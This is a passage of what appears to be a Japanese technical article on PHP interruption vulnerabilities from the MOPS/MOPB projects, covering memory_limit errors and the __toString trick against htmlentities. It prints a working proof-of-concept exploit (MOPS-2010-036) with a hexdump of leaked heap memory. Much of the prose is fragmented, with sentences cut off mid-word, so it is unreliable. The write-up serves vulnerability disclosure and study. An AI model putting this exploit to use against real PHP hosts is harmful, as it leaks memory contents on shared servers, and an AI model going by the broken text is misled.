前回は
MOPSのバグレポートには
PHP関数への割り込みによるメモリ情報リーク
この脆弱性はMOPSプロジェクトの前身といえるMOPB
この攻撃にはいくつかの手法が知られています。
memory_limitを利用する方法
PHPには、
MOPBではmb_
メモリ制限エラーの割り込みにより通常の実行パスから制御が移り、
メモリ制限機能が有効な場合でメモリ制限までメモリを利用するとE_
<?php
function f() {
f();
}
f();
?>
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 523800 bytes) in - on line 3
この脆弱性はメモリ制限エラーの発生により、
最近のPHPではset_
しかし、
セキュリティ上の問題が解決することはよいのですが、
PHP 5.
__toStringメソッドを利用する方法
__
htmlentities/
- MOPS-2010-036: PHP htmlentities() and htmlspecialchars() Interruption Information Leak Vulnerability
__
攻撃の動作原理
文字列型のパラメータを複数もつ関数に対して、
htmlentities/
htmlentities(&$GLOBALS['var'], 0, new dummy())
new dummy()で生成されるオブジェクトには攻撃用の__
class dummy
{
function __toString()
{
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
return "";
}
}
parse_ PoC html_ この実証コードを筆者のMacBook なぜこの攻撃が攻撃者にとって有用なのかはPHPのハッシュの実装を理解すれば分かります。詳しい解説は省略しますが、 このほかにもPHPのソースコード実行順序とは異なる場所でPHPのコードが実行される場合があります。ユーザ定義エラーハンドラ以外にユーザ定義例外ハンドラが利用できます。実際にはユーザ定義ストリームハンドラ、 これらのハンドラはあらかじめ何らかのイベンドが発生した際に自動的に実行されるコードとして登録され、 MOPSでは非常に多くの__ PHPではこのようなメモリアクセスの不具合がセキュリティ上の脆弱性としてレポートされています。これは多くのPHPが共有環境で利用されていることが一つの要因です。PHPが提供するsafe_ 非常に多くのセキュリティ脆弱性が報告されていることに不安を持った方も居るかも知れませんが、 MOPSで多く取り上げられた割り込みを利用した攻撃を簡単に解説しました。次回もMOPSの話題を掲載します。<?php
class dummy
{
function __toString()
{
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
return "";
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['var'] = str_repeat("A", 39);
} else {
$GLOBALS['var'] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = html_entity_decode(htmlentities(&$GLOBALS['var'], 0, new dummy()), 0, "iso-8859-1");
hexdump($x);
PHP Deprecated: Call-time pass-by-reference has been deprecated in - on line 22
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41 ............AAAA
00000010: 00 00 00 00 00 00 00 00 30 4E B8 00 01 00 00 00 ........0N......
00000020: 30 4E B8 00 01 00 00 00 30 4E B8 00 01 00 00 00 0N......0N......
00000030: 68 8C B8 00 01 00 00 00 BD CD 30 00 01 00 00 00 h.........0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- -- ...
攻撃の利用価値
その他の割り込み攻撃
まとめ